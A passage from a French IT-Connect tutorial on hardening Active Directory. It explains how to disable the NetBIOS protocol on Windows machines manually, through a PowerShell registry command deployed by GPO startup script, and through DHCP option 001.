<figure class="wp-block-image size-full"><img decoding="async" width="685" height="633" src="media/439c2f33.GPO-Desactiver-la-resolution-de-noms-multidiffusion.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-la-resolution-de-noms-multidiffusion.png" alt="GPO - Désactiver la résolution de noms multidiffusion" class="wp-image-74000" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-la-resolution-de-noms-multidiffusion.png 685w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-la-resolution-de-noms-multidiffusion-550x508.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-la-resolution-de-noms-multidiffusion-150x139.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-la-resolution-de-noms-multidiffusion-50x46.png 50w" sizes="(max-width: 685px) 100vw, 685px" /></figure>



<p><strong>La GPO est prête !</strong> Un seul et unique paramètre de GPO est suffisant pour désactiver LLMNR sur les machines Windows. Il suffit de lier la GPO de manière à </p>



<h2 class="wp-block-heading">VI. Active Directory : comment désactiver le protocole NetBIOS ?</h2>



<p>Pour désactiver le protocole NetBIOS, nous pouvons procéder de différentes façons : voici trois méthodes que vous pouvez utiliser.</p>



<h3 class="wp-block-heading">A. Désactiver manuellement le NetBIOS</h3>



<p><strong>Sous Windows, l'activation/désactivation du NetBIOS s'effectue interface réseau par interface réseau. </strong>Autrement dit, NetBIOS peut être activé sur une interface réseau et désactivé sur autre interface réseau.</p>



<p>Pour désactiver manuellement le NetBIOS sur une interface réseau, ouvrez le "<strong>Panneau de configuration</strong>", cliquez sur "<strong>Centre Réseau et partage</strong>" puis sur le nom de la carte (par exemple "<em>Ethernet0</em>") afin de cliquer sur "<strong>Propriétés</strong>". Ensuite, sélectionnez "<strong>Protocole Internet version 4 (TCP/IPv4)</strong>" et cliquez sur "<strong>Propriétés</strong>".</p>



<p>Vous allez obtenir la fenêtre présentée ci-dessous. Il vous suffira de :</p>



<p><strong>1</strong> - Cliquer sur le bouton "<strong>Avancé...</strong>"</p>



<p><strong>2</strong> - Cliquer sur l'onglet "<strong>WINS</strong>"</p>



<p><strong>3</strong> - Cocher l'option "<strong>Désactiver NetBIOS sur TCP/IP</strong>" au lieu de "<strong>Par défaut</strong>"</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="500" src="media/cfebf67d.Desactiver-NetBIOS-sur-Windows-11-800x500.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-sur-Windows-11-800x500.jpg" alt="Désactiver NetBIOS sur Windows 11" class="wp-image-74005" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-sur-Windows-11-800x500.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-sur-Windows-11-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-sur-Windows-11-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-sur-Windows-11-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-sur-Windows-11-50x31.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-sur-Windows-11.jpg 904w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Validez, le tour est joué ! </strong>Cette action doit être répétée sur chaque interface réseau (et sur chaque machine) !</p>



<h3 class="wp-block-heading">B. Désactiver le NetBIOS par GPO</h3>



<p>Pour désactiver le NetBIOS explicitement sur chaque interface réseau de Windows, nous allons devoir <strong>configurer le Registre Windows</strong>. Si l'on regarde de plus près le Registre Windows, nous pouvons voir que sous :</p>



<pre class="wp-block-code"><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\</code></pre>



<p>Il y a une clé de Registre par interface réseau présente sur la machine. À chaque fois, chaque clé de Registre contient une valeur nommée "<strong>NetbiosOptions</strong>" qui indique si le NetBIOS est activé ou désactivé. En fait, c'est le reflet de l'option que nous avons configuré précédemment (méthode manuelle).</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="292" src="media/389cc01d.Windows-Registre-NetbiosOptions-800x292.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Windows-Registre-NetbiosOptions-800x292.png" alt="Windows - Registre - NetbiosOptions" class="wp-image-74018" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Windows-Registre-NetbiosOptions-800x292.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Windows-Registre-NetbiosOptions-550x201.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Windows-Registre-NetbiosOptions-150x55.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Windows-Registre-NetbiosOptions-768x280.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Windows-Registre-NetbiosOptions-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Windows-Registre-NetbiosOptions.png 850w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous remarquons également que chaque clé est nommée sous la forme "<strong>Tcpip_{ID}" et ces valeurs seront différentes d'une machine à une autre. Mais, finalement, ce n'est pas un problème</strong>, car une seule et unique commande PowerShell va nous permettre de désactiver NetBIOS sur toutes les interfaces de la machine en configurant l'option "<strong>NetbiosOptions</strong>" dans le Registre :</p>



<pre class="wp-block-code"><code><code>Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\tcpip_*' -Name NetbiosOptions -Value 2 -Verbose</code></code></pre>



<p>Le fait d'ajouter le paramètre "<strong>-Verbose</strong>" permet d'en savoir plus sur les actions effectuées par la commande. Ceci est utile pour vérifier que PowerShell modifie bien l'option de chaque interface réseau présente dans le Registre (sous "<em>Interfaces</em>").</p>



<pre class="wp-block-code"><code>COMMENTAIRES&nbsp;: Opération «&nbsp;Définir la propriété&nbsp;» en cours sur la cible «&nbsp;Élément&nbsp;: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_{04d8a5a6-b0cc-47ac-9db9-66e7d949eee3} Propriété&nbsp;: NetbiosOptions&nbsp;».

COMMENTAIRES&nbsp;: Opération «&nbsp;Définir la propriété&nbsp;» en cours sur la cible «&nbsp;Élément&nbsp;: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_{56acc37a-293b-4036-8ed6-074387cd226d} Propriété&nbsp;: NetbiosOptions&nbsp;».

COMMENTAIRES&nbsp;: Opération «&nbsp;Définir la propriété&nbsp;» en cours sur la cible «&nbsp;Élément&nbsp;: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_{6aa63069-e2a1-43d8-bd3c-01586317d391} Propriété&nbsp;: NetbiosOptions&nbsp;».</code></pre>



<p><strong>Pour désactiver NetBIOS par GPO, nous devons exécuter cette commande sur les machines à l'aide d'un script PowerShell !</strong></p>



<p>L'objectif étant de créer une GPO qui va exécuter un script au démarrage de l'ordinateur. Ouvrez la console de gestion des stratégies de groupe pour créer une nouvelle GPO... et laissez-vous guider.</p>



<p><strong>1</strong> - Parcourez les paramètres de GPO de cette façon :</p>



<ul>
<li><strong>Configuration ordinateur &gt; Paramètres Windows &gt; Scripts (démarrage/arrêt)</strong></li>
</ul>



<p><strong>2</strong> - Double-cliquez sur "<strong>Démarrage</strong>"</p>



<p><strong>3 </strong>- Cliquez sur l'onglet "<strong>Script PowerShell</strong>"</p>



<p><strong>4</strong> - Cliquez sur le bouton "<strong>Ajouter</strong>"</p>



<p><strong>5</strong> - Cliquez sur le bouton "<strong>Parcourir</strong>"</p>



<p><strong>6</strong> - Sélectionnez le script PowerShell et validez (vous pouvez le copier-coller à cet emplacement s'il n'est pas encore là, mais l'essentiel étant de bien veiller à utiliser un chemin réseau)</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/4fdb46da.Desactiver-NetBIOS-par-GPO.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-par-GPO.png"><img decoding="async" width="1333" height="611" data-id="74022" src="media/4fdb46da.Desactiver-NetBIOS-par-GPO.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-par-GPO.png" alt="Désactiver NetBIOS par GPO" class="wp-image-74022" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-par-GPO.png 1333w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-par-GPO-550x252.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-par-GPO-800x367.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-par-GPO-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-par-GPO-768x352.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Desactiver-NetBIOS-par-GPO-50x23.png 50w" sizes="(max-width: 1333px) 100vw, 1333px" /></a></figure>
</figure>



<p><strong>Voilà, la GPO est prête ! </strong>Vous pouvez l'appliquer sur les mêmes machines que la GPO pour LLMNR.</p>



<h3 class="wp-block-heading">C. Désactiver le NetBIOS via le DHCP (option 001)</h3>



<p>En tant que complément ou alternative à la méthode par GPO, nous pouvons compter sur notre serveur DHCP pour désactiver le NetBIOS ! En effet,<strong> l'option 001 </strong>disponible sur les <strong>serveurs DHCP sous Windows Server</strong> permet d'<strong>activer ou désactiver le NetBIOS sur l'interface réseau qui va récupérer l'adresse IP</strong>.</p>



<ul>
<li><a href="https://www.it-connect.fr/installer-et-configurer-un-serveur-dhcp-sous-windows-server-2019/" target="_blank" rel="noopener" title="Installer et configurer un serveur DHCP sous Windows Server 2019">Comment configurer un serveur DHCP sous Windows Server ?</a></li>
</ul>



<p>Lorsque cette option n'est pas configurée, le NetBIOS est actif sur l'interface réseau : c'est le comportement par défaut. Nous pouvons le vérifier facilement avec cette commande :</p>



<pre class="wp-block-code"><code>ipconfig /all</code></pre>



<p>Dans la sortie de cette commande, nous pouvons lire : "<strong>NetBIOS sur Tcpip : activé</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="309" src="media/b4ea71df.Bail-DHCP-avec-NetBIOS-active.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-active.png" alt="" class="wp-image-74007" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-active.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-active-550x212.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-active-150x58.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-active-768x297.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-active-50x19.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Désormais, sur le serveur DHCP, nous allons configurer une nouvelle option d'étendue pour désactiver le NetBIOS.</p>



<p><strong>1</strong> - A partir de la console DHCP, accédez à votre étendue et cliquez sur "<strong>Options d'étendue</strong>". Effectuez un clic droit et choisissez "<strong>Configurer les options...</strong>".</p>



<p><strong>2 </strong>- Cliquez sur l'onglet "<strong>Avancé</strong>" présent dans la fenêtre "<strong>Options étendue</strong>".</p>



<p><strong>3</strong> - Pour l'option "<strong>Classe de fournisseur</strong>", choisissez "<strong>Options Microsoft Windows 2000</strong>".</p>



<p><strong>4 </strong>- Cochez l'option "<strong>001 Option Microsoft de désactivation du NetBIOS</strong>" pour la configurer sur cette étendue</p>



<p><strong>5 </strong>- Attribuez la valeur "<strong>0x2</strong>" à cette option pour désactiver le NetBIOS.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="640" src="media/9af1ed8d.Serveur-DHCP-Desactiver-NetBIOS-option-001.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveur-DHCP-Desactiver-NetBIOS-option-001.png" alt="" class="wp-image-74008" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveur-DHCP-Desactiver-NetBIOS-option-001.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveur-DHCP-Desactiver-NetBIOS-option-001-550x440.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveur-DHCP-Desactiver-NetBIOS-option-001-150x120.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveur-DHCP-Desactiver-NetBIOS-option-001-768x614.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Serveur-DHCP-Desactiver-NetBIOS-option-001-50x40.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<blockquote class="wp-block-quote">
<p><strong>Note </strong>: vous pouvez définir cette option au niveau des options du serveur DHCP pour que toutes vos étendues héritent de la configuration de cette option.</p>
</blockquote>



<p>Ainsi, lorsqu'une machine va renouveler son bail DHCP en sollicitant notre serveur DHCP, elle va désactiver le NetBIOS. Pour rappel, vous pouvez libérer un bail DHCP et demander une nouvelle configuration réseau avec ces deux commandes :</p>



<pre class="wp-block-code"><code>ipconfig /release
ipconfig /renew</code></pre>



<p>L'exemple ci-dessous montre bien que le NetBIOS est désactivé, contrairement à l'état de l'interface avant de configurer l'option dans le DHCP.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="306" src="media/b3fbf906.Bail-DHCP-avec-NetBIOS-desactive.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-desactive.png" alt="" class="wp-image-74009" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-desactive.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-desactive-550x210.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-desactive-150x57.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-desactive-768x294.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Bail-DHCP-avec-NetBIOS-desactive-50x19.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Cette méthode est pratique et facile à mettre en œuvre si vous utilisez un serveur DHCP sous Windows Server. Par contre, elle a une limite : elle ne s'applique qu'aux clients DHCP. Autrement dit, ceci n'aura aucun effet sur les serveurs ou les machines avec une configuration réseau statique.</p>



<h2 class="wp-block-heading">VII. Conclusion</h2>



<p><strong>LLMNR et NetBIOS sont des protocoles, qui en principe, sont là pour faciliter la vie de tout le monde, mais en réalité, ils représentent un danger. En environnement Active Directory, LLMNR et NetBIOS ne sont pas utiles et doivent être désactivés. </strong>À l'inverse, au sein d'un environnement workgroup (groupe de travail), ceci est différent, car il n'y a pas de serveur DNS local donc votre machine Windows peut avoir besoin de ces protocoles pour communiquer, via des noms, avec les autres appareils connectés au réseau local.</p>



<p>Du côté de Microsoft, des changements sont en cours de préparation pour désactiver par défaut certains protocoles, dont le NetBIOS. Plus globalement, l'entreprise américaine veut durcir la configuration de base de Windows 11 en limitant ou désactivant (par défaut) certains protocoles et composants.</p>



<p><strong>Dans un prochain article, nous parlerons d'un autre protocole : mDNS. </strong>Lui aussi, c'est un protocole utilisé par Windows (mais aussi d'autres systèmes) pour effectuer de la résolution de noms lorsque la résolution DNS n'est pas disponible ou qu'elle échoue. Ainsi, désactiver LLMNR et NBT-NS ne suffit pas...</p>



<p>En attendant, intéressez-vous aux protocoles LLMNR et NetBIOS présentés dans l'article du jour ! Par ailleurs, pensez à vous débarrasser d'autres protocoles comme SMBv1 ou encore NTLM.</p><p>The post <a href="https://www.it-connect.fr/active-directory-comment-et-pourquoi-desactiver-les-llmnr-et-netbios/">Active Directory : comment et pourquoi désactiver les protocoles LLMNR et NetBIOS ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


